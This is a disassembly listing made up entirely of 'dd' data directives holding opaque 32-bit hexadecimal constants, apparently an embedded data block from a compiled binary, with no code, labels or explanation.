		dd 0D90B1414h, 3800C187h, 5C534E72h, 0E41E13A8h, 0C2002C8Eh
		dd 741FDABEh, 787C0022h, 83D3A68Dh, 0EB7145BAh,	0DA0FF37Eh
		dd 0E0D621CBh, 0B7883890h, 572F3EFAh, 4E324C18h, 0D90108CAh
		dd 0AF6E7F45h, 7BD0D512h, 0D4154CEDh, 60C96A00h, 0DB6F1F47h
		dd 0FA5F8700h, 94EE452Ch, 0FDF000A4h, 6A22771Dh, 0DF011B9Dh
		dd 0DD137446h, 0E0D2F73Eh, 3F43084h, 762E7FA6h,	2F803359h
		dd 9500D08Ch, 0A413EF32h, 62073Fh, 0D3ADBC93h, 0F8D42123h
		dd 7300D072h, 446CE26Fh, 74EFE313h, 0EA5C037Ch,	38326D54h
		dd 588D2CBh, 79077E03h,	156F4A26h, 0A89F4D43h, 0F6E8011h
		dd 83DE422Ch, 9814A4B2h, 0DD0750F6h, 0A1A2E625h, 56405109h
		dd 36B3C718h, 0C63910h,	0BAD4D532h, 0EA8769B0h,	0D70EEB00h
		dd 0CAC70848h, 0C027066Ch, 29140939h, 0C111F442h, 72A6112Dh
		dd 211EC511h, 2B2508F8h, 11289294h, 0FC216188h,	94D04808h
		dd 3511144Eh, 6A44702Ah, 7AD64430h, 2D732284h, 513C4442h
		dd 3720D644h, 36412224h, 0E7F408F9h, 9C6B0211h,	42A28451h
		dd 0E959110Ch, 223CBE28h, 10443305h, 0CCE100BBh, 3E16FB5Ch
		dd 8903B896h, 0CF9354F3h, 0A89EDB31h, 7D875Dh, 1F1222A6h
		dd 3EC620DEh, 76C281Eh,	0D1E87340h, 529FDFh, 87FB7E0Eh
		dd 139939C4h, 19263800h, 6576CDE0h, 1920068h, 0A649C26Fh
		dd 0E71CD442h, 0AD407063h, 0E317646Ah, 57C70773h, 204EF144h
		dd 1B8C5A29h, 0DF89E900h, 326EF69Bh, 0BA71008Bh, 0D0A93070h
		dd 0EC010D0Ch, 0A7B689C4h, 5BF48719h, 23B2825h,	0EA74049Ch
		dd 0AC89ACDBh, 646D1CBBh, 0E35CFC40h, 18E9E20h,	25E5B79h
		dd 2428DEA2h, 403933Ch,	303C88DCh, 526101B1h, 6FB4022Ah
		dd 150B9EFh, 0D98672F3h, 1FF0E5F8h, 0B001013Eh,	27C7263Ch
		dd 35642415h, 80487E38h, 96727458h, 3E9442E2h, 5F8168F3h
		dd 9EE39B3Ch, 0B76A70E6h, 9F00A572h, 0FBD15918h, 0FE90BD3h
		dd 9CCDE1FDh, 0DA148180h, 0C100D473h, 2A1A12CFh, 3F3AAC29h
		dd 0B99F2FEEh, 3BF900CDh, 39CBB53Fh, 0D87CB400h, 0F2916307h
		dd 501000B3h, 66DB9F53h, 60E3B7FCh, 8900AF79h, 0EDEEFFD0h
		dd 0F2BC8AF6h, 9737009Fh, 2A731CDFh, 0AD00BF90h, 0E40AB39Ch
		dd 4CF236D0h, 10098B26h, 3C70FF55h, 23997A00h, 0E65E43A9h
		dd 38A1FC11h, 588E228Ah, 4B40D379h, 0DEC450B5h,	0BE0EBC76h
		dd 408BE6A6h, 4A7F645Fh, 0E59050BBh, 0FE82FE56h, 49B043h
		dd 249BC139h, 98A31ADCh, 6383460h, 18D589Dh, 9289993Dh
		dd 603C512Bh, 6500A5DFh, 15F8B02Dh, 17B7EEh, 8718FC90h
		dd 16F2C16Ch, 96E35400h, 95560D67h, 0A1C7E7Ch, 9B612837h
		dd 0B5D880F0h, 107DCBCEh, 60074100h, 31BD4AD5h,	1DED794Ch
		dd 0C0C82A0Ah, 0F145C736h, 8AEA2312h, 9805894Bh, 0FC0583B6h
		dd 0C0AB10E0h, 2E0B5EF4h, 7E0094FAh, 0E7237549h, 0F8CBC5AEh
		dd 32BA00BBh, 2689FAACh, 2038905Ah, 0C58D8050h,	4D21775Ch
		dd 5DC4013Bh, 0C018541Fh, 7F45F95Bh, 77DA9C80h,	0B2FC071Dh
		dd 7FBB7831h, 9B37DF80h, 2000529h, 0FC366FECh, 9875DE38h
		dd 60E10032h, 6B423EFBh, 0CD008351h, 3B1C122h, 9816460Ah
		dd 3E9B0B7h, 0C710A87Dh, 0BAF0A3EEh, 82006E95h,	1BABE441h
		dd 7B4531h, 0BB539136h,	0C5D72F71h, 7000B372h, 2EB8552Ah
		dd 0F631BB4h, 698D2108h, 0C8E75A4Fh, 73B3803Eh,	1B00D6FFh
		dd 10DFEDA7h, 0AC46CEh,	0EA88981Dh, 9A3B7AD1h, 0F4F3FC00h
		dd 0DEB15BC9h, 8AC30051h, 8F4607D0h, 6E07C094h,	0CA618E95h
		dd 5DFAF5A0h, 0D5400345h, 0F87D2192h, 61471488h, 80E43Eh
		dd 6E2B5202h, 0C63C98h,	9B857E4Fh, 9F8C63B2h, 73551400h
		dd 91D1FD92h, 3B530068h, 0A8C22BD9h, 0BC7E9A6Eh, 32356F1Ch
		dd 19CA3180h, 1F3B64C0h, 40F10326h, 7DC5EC25h, 0B0F6857h
		dd 0DDFA41FBh, 0A35B66C0h, 7EBF37h, 1E30C397h, 8CEDC9EBh
		dd 4B18DF00h, 7110418Ah, 0AE4200B0h, 0B5BDB8ACh, 8F15CDEBh
		dd 0DC15B6h, 1F22130Ch,	3A16635h, 9F2FAF3Dh, 10F36F7Eh
		dd 3315C5A8h, 0BB2C300h, 0D9F8A8E1h, 0AAE801A1h, 0F183EA93h
		dd 0B89EE04Ah, 97005D79h, 0FCC91E7Fh, 7F8489C2h, 0C653016Ah
		dd 8FDC11CBh, 0E01AC93Fh, 0B6000B77h, 7C4F1787h, 9DB7F0h
		dd 40D9F5F4h, 0CA8E44A3h, 79140300h, 0C637C387h, 0BCE50067h
		dd 86401AA1h, 9900B67Ch, 0F7CAEAC9h, 3DE5321h, 0A65FD03Eh
		dd 1CF89C0Fh, 7100F137h, 26FFEA27h, 1F67849Eh, 8095F54Eh
		dd 0D68081B3h, 8D014DBAh, 1DA6C26Eh, 7F609C05h,	0B43D0604h
		dd 0E4BB699Eh, 8DFB5Ch,	9490B7D9h, 4B996Ah, 71F33238h
		dd 2D53AF88h, 7029E001h, 0A9CE30FCh, 0A1AC4h, 7B04E676h
		dd 9DF745BBh, 0F1DB50C0h, 0DC5DB2h, 0D6FABE9Fh,	0A4FE9244h
		dd 0B0937B00h, 0C5B415A5h, 0AE840474h, 0B88AA6EFh, 93127E2Eh
		dd 800347Dh, 8E66AC56h,	0F7B800A8h, 8BC67592h, 63041E52h
		dd 6F238DEh, 725C180h, 19E4E8h,	0A417D17Ah, 5BDDFF7Ch
		dd 821E0100h, 72813DAFh, 0A3BD28EEh, 1CD00386h,	0EA4E1F97h
		dd 0F957E2B0h, 66C6231Dh, 6C008F2Ch, 0DB298614h, 21A700B8h
		dd 205CF7B2h, 66001232h, 31042E92h, 355D881h, 0F6761664h
		dd 6988C582h, 0E0006FFh, 0AFDCA3C1h, 0FBE0204h,	0CDF30C22h
		dd 0E900ED2Fh, 0B0FFB803h, 82323000h, 70FE2018h, 0F39A1FC9h
		dd 0E8F9420Ch, 70696D95h, 1358F0EBh, 0C3A6AC00h, 6F269F91h
		dd 0F4B000B4h, 0F0CCFE74h, 0B5008B28h, 2F56D038h, 61516Ah
		dd 0A20FF8Ah, 71D8CC97h, 0D5004EF0h, 0D0F0BBA0h, 9807FB7Bh
		dd 3D99002Eh, 37760868h, 0A700D365h, 426AAA20h,	784B335Ah
		dd 1E2100FBh, 2FE89271h, 0DAE8B598h, 6B3F4F0Ch,	282BF881h
		dd 0F0336Fh, 0CADECCA7h, 3EB1B67h, 35071090h, 510599C6h
		dd 96A3001Bh, 3DAA3Fh, 0C5EE03FDh, 4109C042h, 1F6F8600h
		dd 0FE570268h, 0F7B700CEh, 97A47834h, 0FC98F240h, 447C6300h
		dd 0E552944Fh, 2B6B054h, 0E767FB36h, 0F260D47Bh, 1013A79h
		dd 0C73DDEA5h, 12FCFD50h, 0D35F0071h, 49E81E6Fh, 0A47A69F5h
		dd 74DDF11Dh, 0BFA68140h, 91C5657h, 0C4F0B7DAh,	0E0044D09h
		dd 0F801C029h, 0BD903CD0h, 8E7D5C2Eh, 0A0D3EB00h, 26EABCCAh
		dd 2624E177h, 0CF1D001Ah, 0BEE41C5Dh, 70F84Ch, 0CD44B8C7h
		dd 652DFFh, 0C00A6113h,	7B95633Ch, 0C475ED01h, 925F4656h
		dd 17A8FD20h, 4DB38DCh,	0C0155BDEh, 0D844C324h,	397EEF44h
		dd 368043F5h, 0DD1695B0h, 0B90062D1h, 9CEC9103h, 8D49CCh
		dd 0D414B359h, 5465C496h, 973AED05h, 3880CDBEh,	386EF02h
		dd 5E17E98Bh, 31F03476h, 857111ABh, 0F7637A00h,	0F02A235Fh
		dd 257240h, 3F69346Dh, 0CD7D87AFh, 0F103A9E2h, 0D52AB11Dh
		dd 6265CA88h, 79AE8244h, 6F30C00Fh, 41A400DFh, 585932A2h
		dd 2B07C751h, 0AD88555Fh, 0BEDCC6A0h, 2DDD00EBh, 1002EC7Eh
		dd 1812596Bh, 0D601B52Ch, 62E4BDF6h, 67FFC0h, 0AEC69D3h
		dd 5AD1649Ch, 315B7600h, 0E24A7451h, 11DC0975h,	4C01887Eh
		dd 0CCA5C01Fh, 0B01FBEFh, 0ADBC773Ah, 5080B607h, 7FBFA9B1h
		dd 0FB01056Dh, 0D63C3A94h, 4AC18159h, 3545CCh, 737AAAA5h
		dd 146E741Bh, 4CD8F224h
		dd 0F8EF7002h, 0A0CC60h, 0A582E75Fh, 0ADB2815Bh, 0F42479F4h
		dd 540F0CF7h, 579B00A6h, 0FE4F59Ch, 6E648E33h, 0D26C4492h
		dd 0CBF3807Fh, 72000BB6h, 3605686h, 36AF40h, 19DE97D8h
		dd 0DB6A3589h, 88D4DA00h, 4C4E3879h, 88C6507Ch,	9AD00E0h
		dd 72D083B8h, 29017E80h, 0F3E2E1B4h, 9040328Dh,	20C05CF5h
		dd 0F0087CEh, 0DFB09C34h, 0CA7B46h, 98C40DAEh, 819249E7h
		dd 2E0F9900h, 0BDA635BEh, 6B83034Bh, 5ED01173h,	7FC0559Ah
		dd 433B0A64h, 853E052Bh, 9002D186h, 15083C60h, 4B800490h
		dd 5B378B9h, 6E9A6800h,	46731EC9h, 74FC96h, 0E14A6BEBh
		dd 7A49C802h, 8BED4202h, 48469AD6h, 0A4C1548h, 72F69295h
		dd 4AAB8088h, 0D8D34560h, 0F01DA003h, 1EB0C3Ch,	39D9DB70h
		dd 0F0B01AACh, 0B909E1h, 0D3E9AB07h, 1560F6D0h,	67EF006Bh
		dd 1A24F186h, 4202C041h, 0D32EFB52h, 36856029h,	5E820997h
		dd 0D400177Fh, 471B08DFh, 84707607h, 0BEA06E29h, 3D739Bh
		dd 0E3A2074Dh, 15660CE2h, 0D5EA0500h, 5A631052h, 386E00B4h
		dd 147C5C64h, 167A2EA3h, 0BB7ED109h, 0B7D0005Bh, 1A73C6Fh
		dd 0B3FD2581h, 241F5C08h, 0C80A5F18h, 0C0DBC05Ah, 0FAAF600h
		dd 3FBFC7Ah, 47BCC319h,	0A2F0EDBAh, 0BB002FD3h,	0E817BDD4h
		dd 834626h, 62DEB156h, 93B8B6B0h, 0F600CC90h, 92E249FEh
		dd 0E83E7Dh, 51698199h,	8277ABCh, 1A0018EEh, 39E1EEA6h
		dd 1AD9633h, 66179C35h,	40E68780h, 4727F7BCh, 4AEAC820h
		dd 0CC5C431Fh, 5FB0CEB5h, 0A60096F5h, 1D0F5EF4h, 71A395h
		dd 0B32B49BFh, 851E28E6h, 37C93007h, 2433EFA8h,	4CEAF0F8h
		dd 8BEE147Eh, 5304BC22h, 0D0EC2873h, 11DD190h, 0B8213803h
		dd 82CCEE5Ah, 2BCAC00Dh, 50D7000Fh, 0FA22AADFh,	3C0114EFh
		dd 0E233E080h, 0C04041B8h, 0B8C31037h, 0A585C54h, 0F26F7F00h
		dd 6EF00EA1h, 2379B00h,	622D1672h, 248C94E6h, 481E0080h
		dd 4317EB23h, 7B89B15Ch, 0DB13FA00h, 6B8A385Ch,	0EBC070Ah
		dd 0BFDE50A6h, 5B00AB32h, 71B79869h, 94CC5012h,	884A486Ch
		dd 3B5E0C80h, 493948C6h, 0FDB500D2h, 714ACB07h,	1857F66Ah
		dd 70BC976Fh, 7603954Bh, 58B85228h, 0C45EF1B6h,	0B1B9C880h
		dd 22ECF75Ah, 29048EE6h, 1FB6244Ah, 8DDE1381h, 35A47450h
		dd 2FB70046h, 0E24E176Dh, 0BE00A7FAh, 4070831Dh, 0A48E6B42h
		dd 0BB730388h, 6A347715h, 0B62EBE98h, 667C5503h, 0B8BC58FCh
		dd 4A733F7h, 0C4B9757Eh, 910080ACh, 542861B5h, 98001086h
		dd 0C93CF6E2h, 9A4A5024h, 1D350080h, 0B2C63DE5h, 0F418948Bh
		dd 5A10E405h, 34526B3h,	340B4644h, 9FE0697Dh, 997C0105h
		dd 0A800CD25h, 7B62D0C3h, 0A8E471h, 5ABB324Ah, 0A1937903h
		dd 6831E0EDh, 84E30D00h, 45B94E0Fh, 0F4F90051h,	0B2431BBDh
		dd 8C015058h, 0A5F0EFFh, 0F07B8752h, 1F1D47D7h,	0F680EC2Ch
		dd 1D4A09Ch, 84AF09A2h,	0F880A752h, 144F2DCCh, 0C592471Eh
		dd 367CB600h, 0A1ED80h,	84A9A3E1h, 9F825F0Ah, 16240B0Fh
		dd 3EB2E89h, 0F880C332h, 1EA1F605h, 716BA6h, 0DAF98E4Eh
		dd 24307729h, 49DDE0C0h, 7CA300B9h, 0A4471326h,	80410A6h
		dd 9D9DC43h, 55742081h,	3CE63FCCh, 8501235Dh, 9847A529h
		dd 0E46C022h, 9D7BC000h, 35B91E5Eh, 0BBDA00F3h,	0B52B5D66h
		dd 6B01D59Bh, 0FC2265C1h, 43F05ACBh, 0E4480021h, 2D62074Fh
		dd 0FB007D18h, 0EF9799EEh, 5C4C6Fh, 9246B91Ah, 7E3261DBh
		dd 49BD4100h, 5F449E9Bh, 54AC3D84h, 1521F982h, 0F2E17145h
		dd 0D099C901h, 9B00DA76h, 0E230E604h, 75F491h, 28AD9C09h
		dd 7125D9CAh, 0AF512203h, 0D863C82Eh, 213DF7h, 0DA15AB90h
		dd 1C4AF343h, 8FC8D00h,	4B064F0Fh, 7C250088h, 0C6A6EEEFh
		dd 0B775E01Eh, 1A023100h, 63221735h, 0D4B13BE6h, 0BEADDB83h
		dd 51A0A07Eh, 0A700B9FBh, 59210610h, 0E85871Dh,	7E8FC240h
		dd 4FF7B2C0h, 1C03033Ch, 0BE5A0D5Bh, 570F9850h,	3F4FE61h
		dd 599BDBE9h, 0BD9AF1DAh, 625AE8E0h, 0BFCEFA00h, 0B6C521B9h
		dd 22E90088h, 808F939Bh, 0D3004428h, 0AE8BD4E8h, 0B0C39FBh
		dd 2D7C02A0h, 0D0986381h, 0B8FC05Ah, 7A4AE33Ch,	64C7C91Dh
		dd 6CB6E787h, 0E4F12260h, 9CB81FF6h, 0B4080CFh,	9DAED592h
		dd 0C3C91501h, 0E51C5BDAh, 7CEA5080h, 84267891h, 0A9459E00h
		dd 2327EFD3h, 2DAD00FBh, 0F647467Dh, 580CF448h,	0D8AE5E4Eh
		dd 0F2D8004Bh, 17F375A5h, 4F00ADE9h, 0AB6277F8h, 0CC3396h
		dd 0DE2765C6h, 0BEF4DD08h, 71BAFE00h, 3F8F81C1h, 5A7A0033h
		dd 0F11912F5h, 3C0070A2h, 5544295Eh, 0DA256Dh, 0E2FC157Eh
		dd 0B6F1FB06h, 871E3E7Fh, 60000B11h, 0F96A94A7h, 14C7AC5h
		dd 78E16CB4h, 0D8ACAB92h, 0E37C99D5h, 50B0DE00h, 39B75DC8h
		dd 0A2BD00D7h, 67A02FCBh, 50073CFh, 0FB4B2782h,	90B699F3h
		dd 48E07Ch, 0FEB0E3DEh,	3E619FC2h, 28EBF600h, 0EEB6A9CEh
		dd 91CC0071h, 0D656169Ah, 8A008714h, 62BF077Eh,	21CA41h
		dd 36A4862Fh, 0D45A4246h, 4CC7BC00h, 0DA643FABh, 6558003Ch
		dd 82FECA9Eh, 0A0A8139Ch, 531FABA5h, 0D2D40BEAh, 95DF00B4h
		dd 0EB5F1850h, 85C7000Ah, 0D4082E8h, 97FC2164h,	0F3300807h
		dd 0AEA01AEFh, 48B0FD91h, 11007879h, 5BAD4A24h,	0D10C6DB5h
		dd 88839B69h, 0E560000Fh, 0F97C5978h, 0F8601576h, 0A46873E4h
		dd 0D4370F8Dh, 0BA066EEh, 0E7B69205h, 0CC324107h, 0A8B0F58Eh
		dd 961E0Dh, 1F3FBEDFh, 2FDA9348h, 51720700h, 0EB65ABC0h
		dd 413900CAh, 4B7081B8h, 4E00453Eh, 446766DFh, 778841Dh
		dd 72BA0112h, 3F0340A8h, 4005EC6h, 41A0E8AEh, 71CDBh, 47B4879Bh
		dd 6A90C71Bh, 2C03D4F2h, 4618A7Bh, 0E1ED9BF8h, 0FDC01E32h
		dd 811B0087h, 0B229F1C7h, 54C0B028h, 2D45FE2Ch,	0A8E0016Dh
		dd 0DBAC3CAh, 74E5ECD5h, 0E1299700h, 0A6FA981h,	5C720077h
		dd 5741F9B9h, 0BCEA7851h, 7A6CBA5Ch, 96CFB71Dh,	0D4080640h
		dd 393772h, 18E95C91h, 0BE3475A9h, 6D30520Ah, 0AD009445h
		dd 251238AFh, 9FE000CCh, 7881981Ch, 3E00AAFEh, 0F9A099F1h
		dd 1B16F6Ch, 0EB647CE0h, 0EB339CFDh, 6E50A8E0h,	360EE300h
		dd 55ADFECDh, 0B40705Bh, 0EE825CC3h, 0CB8FEF80h, 6607A735h
		dd 22F94590h, 0D55068D0h, 93860039h, 0BAA9F370h, 1407B697h
		dd 6D9DA107h, 0FA338290h, 491A07D1h, 0CB406A6Fh, 2CC2F00h
		dd 0ED2668D3h, 0B887997Bh, 258070D1h, 0E93D666h, 768FC52Bh
		dd 5873A966h, 0E020BC03h, 0B7847ADDh, 57C0F2B0h, 48F36082h
		dd 4D86E409h, 85ADB200h, 155980B1h, 0D539075Bh,	709C54C9h
		dd 777448BCh, 80B0A63Dh, 4A1E6383h, 1BA7A64h, 0E4991954h
		dd 0D4F62BA8h, 9206D1D5h, 366837D6h, 96E70B80h,	9580D228h
		dd 92B05BE9h, 0FB030B00h, 0AB60E440h, 0F15A0288h, 6F6765F8h
		dd 307FD6C1h, 1DE8A327h, 0BE8DF600h, 0A8B3ECB8h, 0B7B81Bh
		dd 45DD35F4h, 0CDD43BEDh, 0F2CF5100h, 0E3CC675Ch, 47990270h
		dd 0FA2B572Fh, 0AED894E3h, 0E0003728h, 88685BE6h, 9AD392h
		dd 0C84F2641h, 0BAD4353Bh, 0EA274200h, 72D61E86h, 0A87500EFh
		dd 9D55EBC9h, 8900D126h, 0A19ACE11h, 12AA88BDh,	0E31282h
		dd 546DF554h, 4F00DA5Dh, 951E2713h, 3B12653Ch, 1980142Dh
		dd 446B528Fh, 0F2005BB2h, 7F3409C3h, 652CFEh, 0ABECBC3Dh
		dd 1AF83184h, 0E9B89611h, 65122100h, 0CD01240Dh, 6A8A6900h
		dd 0A12F1371h
		dd 8223007Eh, 9CAA4106h, 2E002884h, 957C1E40h, 3E6AFh
		dd 312FA993h, 5BB97823h, 0CD491009h, 4F7401CEh,	0A03B144Bh
		dd 0E700B2F6h, 8885BE74h, 0FE5A071Bh, 27B95CE1h, 91CA0867h
		dd 200E56ECh, 93A0B898h, 81022176h, 9A7F767h, 0B08483CEh
		dd 804BE117h, 0E8A89820h, 9EB60333h, 3DBDD223h,	24E04100h
		dd 1E2CA326h, 0B90B1784h, 0A9F6098Eh, 3145B420h, 5F00D872h
		dd 4414CB59h, 7A495ECh,	52F30FAAh, 0EAF0B19Fh, 3ADC701Ch
		dd 39F0FC7Ch, 1C32400h,	0D3911B0Dh, 0E0CF60Eh, 0A22EF81Dh
		dd 6FF63820h, 1109C162h, 802922F7h, 0A01FF99Ch,	0E2F800D3h
		dd 5DE52409h, 5400B362h, 11A94B21h, 55222Bh, 0F101E33Dh
		dd 688329A8h, 0BC94803h, 0A8BB4519h, 17C5E6h, 0E8814C1Bh
		dd 55A38D09h, 44743703h, 0B0F4FF75h, 2B4BCC0h, 3E999B3h
		dd 0AD40648Fh, 925440CEh, 320091C0h, 85C13BDAh,	7D7AB5EDh
		dd 0B9C3002Ah, 880414B8h, 0A900C85Ch, 2D72A2B3h, 563305h
		dd 87F0C10Ch, 82920420h, 1DD5DD00h, 15B41922h, 0ED6E020Ah
		dd 43739197h, 28DA480h,	770049E2h, 0F1825818h, 2A78C988h
		dd 0C0E829h, 0B95B7505h, 0DD7D4AACh, 0F9FC7012h, 27AD000h
		dd 1D7B565Fh, 0C06411EAh, 896A82A4h, 1B300454h,	4016C8B4h
		dd 68134C3Ah, 0B9697609h, 62E2C00h, 9930DAD5h, 6C50C8F0h
		dd 73E0003Dh, 77983EBFh, 0A7007C4Ah, 43FFED67h,	4CD9EA61h
		dd 96134B62h, 4F740712h, 525D201Eh, 5C00E806h, 32AA3874h
		dd 46FAEE2h, 0A15F4B46h, 8D3CC094h, 3290C501h, 5C9210E2h
		dd 3A00F7FCh, 0F9F83893h, 0FD76B9Bh, 0EBA8EC41h, 0AFC084E0h
		dd 0CF0086B2h, 38753343h, 3F9A79C5h, 744CCAE4h,	9C63B01h
		dd 117A0EBh, 2612DBF8h,	4780B065h, 1C8CC112h, 59C0C0F7h
		dd 5517B2FAh, 31D430E7h, 58BB0920h, 39000056h, 0A0A5DD10h
		dd 1F16BC96h, 55007786h, 268E8CFDh, 0D009076Eh,	4E2E6854h
		dd 36553460h, 411F0877h, 0F100232Ch, 0D7339214h, 0A46C0F07h
		dd 0B8A5D58Ch, 0B3F080C5h, 0B0000E5Ch, 0A60D0B7Dh, 43F1EDAh
		dd 4B57B4FBh, 1B3480C3h, 0CC00F688h, 3113809Ch,	0F2DE15h
		dd 613E1CE7h, 97E159D4h, 560375F6h, 74457294h, 1A90DF0Fh
		dd 0AE95F9h, 0E167E4A9h, 6FC63DFDh, 816A0E00h, 0AB376DEBh
		dd 0FA725Fh, 62D4840h, 326EEF63h, 80890439h, 0CC55CDF7h
		dd 0E271CFh, 0A082965h,	0B153D3A3h, 6006190h, 5ADABC4Eh
		dd 0A0097F39h, 12D9DECh, 22C28DA7h, 242A9908h, 6A00B9A8h
		dd 2D7A02F2h, 0C2CED5h,	0F1EA0AA2h, 2FA5DC60h, 78207403h
		dd 0C043B5EBh, 1E152Dh,	40C8F8F4h, 314AC38h, 0D5ED6500h
		dd 28CCF193h, 5A9F8020h, 3B0043F2h, 0E7078494h,	70FD294Ah
		dd 12217A8Eh, 0F61E76h,	98F7C2Ch, 4A48187Fh, 9AE46020h
		dd 992E60Bh, 1E95649h, 8110820Ah, 239DB10Ah, 1502D2B9h
		dd 72247Eh, 0FD6AA575h,	9EF61CFFh, 286D8051h, 98260EFCh
		dd 3A84A5Ch, 67DFD27h, 0D98380B8h, 6EE2BCh, 0A82B2D16h
		dd 0E91B9951h, 0DDDA4E13h, 0E06078A1h, 41151DD4h, 5F160059h
		dd 1D76C201h, 0D13CFC00h, 73FE2F28h, 0FB0C264Fh, 9E2600h
		dd 8D890BCh, 0C348D62Ah, 5A9B141Fh, 0CD9707BCh,	431395E6h
		dd 606ED83Eh, 9D5D3BADh, 0E501285Ch, 838BAE93h,	0FAD641EDh
		dd 77D9CF78h, 5FDE846h,	6CD55604h, 0C0EF39BCh, 5811F5ECh
		dd 0A90088B0h, 24100CFAh, 6D8D5h, 98A159DBh, 9AB025CAh
		dd 0ACFE83A0h, 0CB5A5402h, 0E81EB95Ch, 1CDB3FECh, 976A4161h
		dd 33384765h, 5AD5D00Bh, 7400F055h, 0A53C0EDh, 2E786115h
		dd 1748B1ACh, 0CB100059h, 57EC877h, 0B039D112h,	0EF386AACh
		dd 1BC297h, 0E29FC73h, 0AF14D76Dh, 2F830EBh, 7CF03D2Eh
		dd 0FBF08019h, 2FF93Fh,	8F45F60Eh, 61CB6B9h, 2021106Eh
		dd 563622F4h, 38340039h, 3A3F7E09h, 4B00FE2Bh, 0CDCB48F7h
		dd 7DB2A965h, 0F364005Ch, 47E15D75h, 170EBDE2h,	0E0D21F79h
		dd 2296B3FFh, 0FB5F0040h, 6E92645Dh, 40EDC10h, 60BEB4CEh
		dd 81E12E70h, 0E5F20Ch,	0F98F7796h, 0F8D795B2h,	0C7F16900h
		dd 8615797Fh, 0A56009Eh, 9BE7496Dh, 0EE3CD909h,	0BD01B97Bh
		dd 43408060h, 58E325ACh, 0D6B539E8h, 2720685h, 0F83CD0D8h
		dd 0FC0FEEA8h, 44DA76F2h, 0CA818140h, 0D6200D46h, 3B800FDh
		dd 43B7DB32h, 2A0095DCh, 37732610h, 21997C1h, 23E9EBA6h
		dd 0D8E012F9h, 0F302EC53h, 0C55DF416h, 27E8C87Eh, 4A60BD52h
		dd 840007B7h, 4C6626C1h, 18D109Bh, 4AB85394h, 0EC925545h
		dd 8B01B3AFh, 0C1A8CEFFh, 85D49B6Ch, 9A280073h,	0F9E69531h
		dd 79F84076h, 0D49F1B12h, 8F0A700h, 2DDEC6h, 6BE1530h
		dd 0B0CB0755h, 0EE02B09Ah, 8D54386h, 0B68840D9h, 7140099h
		dd 494B5ACCh, 0EB75675Bh, 1D20E000h, 94C1D204h,	4010001Bh
		dd 0A72BBA1h, 43005177h, 1444A019h, 0ED26322Fh,	547C5D4h
		dd 20340D71h, 2808019Ah, 0E86B03A9h, 0FA095BC1h, 803CCA7Fh
		dd 12FBF384h, 0F7CCFB5Fh, 6A91C0EAh, 0B22C6358h, 0A6BBE015h
		dd 12688810h, 0E0E801B1h, 0CFA8C3DAh, 8BA4083Bh, 29C0E356h
		dd 0B2C4037Ch, 7543A866h, 0BF745Fh, 295D2FA2h, 0D23BDD97h
		dd 0F16FD400h, 3AFF20F9h, 14B34D7Ah, 1A676B07h,	0D609409Dh
		dd 0FC384912h, 5F3B017Bh, 81A02AB8h, 8930509Dh,	1E8C27E7h
		dd 0AC0CE8A1h, 7882DEDAh, 9120D832h, 0D026BF1h,	3334F299h
		dd 390C8329h, 0EFA820D4h, 0A33CD48h, 74276798h,	88C67A03h
		dd 0E87FDB41h, 14D4445h, 89510F6Ah, 0FC32545Eh,	6C01E735h
		dd 9EB9E5D8h, 5AF4EE55h, 40D9008Eh, 7ADB61C3h, 6C00A260h
		dd 0E6596986h, 30A3B8h,	80049EE1h, 0EBB06F8Fh, 933D06C0h
		dd 12BED78h, 0D4E4E641h, 0D83FDCFFh, 0E107ABD5h, 0F229285Dh
		dd 17C513E0h, 2B2A015Eh, 0E5DE616Ah, 0EB07CC25h, 872D18C5h
		dd 0E64B1481h, 7A9D9050h, 3959F092h, 2701A701h,	0D4E3EE66h
		dd 748850E6h, 9439B3F9h, 0F711604Bh, 0BAE2977h,	0C0C3CADAh
		dd 18BDBA8Eh, 9D1E21F3h, 6817A8A0h, 0E619D67Bh,	0B080E4EBh
		dd 3F4B470h, 0CE4DE5DFh, 1808DCDBh, 41322B28h, 3E8EB6Eh
		dd 7FD689E7h, 1697BC50h, 0B6E06Ch, 64077A28h, 63DFAA32h
		dd 0B821D963h, 0BBFC8094h, 646C003Ah, 0B120D9Bh, 98F4A07Dh
		dd 0DEC75F00h, 0FB82F8EEh, 77E67Ch, 6775D515h, 6A4ECB21h
		dd 7E1789E6h, 29002CC6h, 9B62B88Ah, 431E00A2h, 51C8615Ah
		dd 0D03F1CA5h, 266F8094h, 0D7DC4868h, 502E0049h, 0BC7B92AEh
		dd 3002958h, 0BDBF606Fh, 53F7751h, 6E37C4C0h, 0E525C1DEh
		dd 0F3FCFCEEh, 4ABA8F00h, 0C98962A0h, 0FBCD0090h, 72A136B8h
		dd 0B9076E29h, 6FA31496h, 4D084AC0h, 0ADE40027h, 6C0E1850h
		dd 5F582D25h, 5B0F181Ch, 9E6D30h, 9FD76413h, 377BEA5Ch
		dd 98BDF700h, 6AD6ED8Fh, 0D4E8C0h, 52C49670h, 0B9EAA36Eh
		dd 8C2ABE00h, 0ED3124B6h, 0B544009Ch, 0A172E7Fh, 0A80F383Bh
		dd 40D48F92h, 0FCA2ED37h, 58F56FABh, 7240F1A0h,	3903EC1Ch
		dd 0A1EF42BAh, 4441E093h, 1418C17Ah, 2BF20D9Fh,	697EA0h
		dd 73DE97A9h, 39CCF067h, 57842900h, 66EF987h, 0EBE70F18h
		dd 0D60DDC1h, 0E6795B28h, 0AFC81500h, 62376610h, 12320006h
		dd 98E53072h, 0BF24509Ch, 61003E17h, 4F33DDA1h,	0C6E17E7Ah
		dd 596BB050h, 531D9C7Eh, 54007CBBh, 0A3ED7DABh,	0DC763833h
		dd 511850h, 21CBCEDFh
		dd 0F21B5F01h, 50CD700Eh, 0C234036h, 0FA999DCh,	21B5267Ch
		dd 7E583800h, 0A4071827h, 0D7A19888h, 0F4436D3h, 0BE514738h
		dd 8A395840h, 0DD009314h, 0FD5EBDA9h, 1B2C3Dh, 2187318Eh
		dd 2285098Fh, 4613DA1Dh, 6881AA0Ch, 9DDC40EEh, 7EEA8E00h
		dd 16A43519h, 28910009h, 0AB264D34h, 64003959h,	333EC7B5h
		dd 35835Dh, 6E3CF2F9h, 4654A94Fh, 218008CCh, 0F9E486h
		dd 68DD4A93h, 87FD3C11h, 909BD71Ch, 850BE740h, 38A4CEh
		dd 0A38DAFF0h, 825E713Eh, 62E0164Ch, 0C0F85310h, 0CEB8B1Fh
		dd 64BAEAA7h, 21C01F08h, 34124078h, 7B3C000Ch, 306C1E69h
		dd 46F235F7h, 7A312AE8h, 8CA391C5h, 0F10361D2h,	821E1180h
		dd 677269F0h, 0BBC7C90Ch, 0C252086Fh, 0F06A7B21h, 0DCEA6561h
